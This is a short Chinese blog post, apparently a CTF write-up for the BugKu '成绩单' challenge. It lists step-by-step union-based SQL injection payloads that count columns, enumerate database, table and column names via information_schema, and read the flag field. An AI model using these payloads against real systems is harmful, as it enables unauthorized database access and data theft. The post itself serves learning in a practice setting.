BugKu——成绩单

版权声明:本文由CliffordWR原创,转载请注明出处。 https://blog.csdn.net/CliffordR/article/details/82973359

  sql注入在CTF类竞赛中占着很大的比重,在做BugKu的题目的过程中恰好遇到了一个没有任何过滤,直接注入的题目,因为没有过滤,只是单纯的考察sql注入,所以步骤比较固定,语句也比较简单
1.首先,爆列数 1’ order by 4# 1’ order by 5#按照提示分别输入1,2,3都有回显,然后遍历一遍-1’ union select 1,2,3,4# 目录四个表都有回显
2.暴库名:-1’ union select 1,2,3,database()#
3.爆表:-1’ union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()# 暂时先记住,不是很理解,希望通过后期的学习深入的了解它的原理。
4.爆字段:id=-1’ union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name=0x666c3467#此处表名的十六进制可以通过在线的字符串转十六进制得到
  查询数据:-1’ union select 1,2,3,skctf_flag from fl4g# 表示查询fl4g表中得 skctf_flag字段报完列数以后其他的都用-1 也就是说要想查询 就不能使用 and 1=1 或者 id=1 等正确的,要让他报错回显。

猜你喜欢

转载自blog.csdn.net/CliffordR/article/details/82973359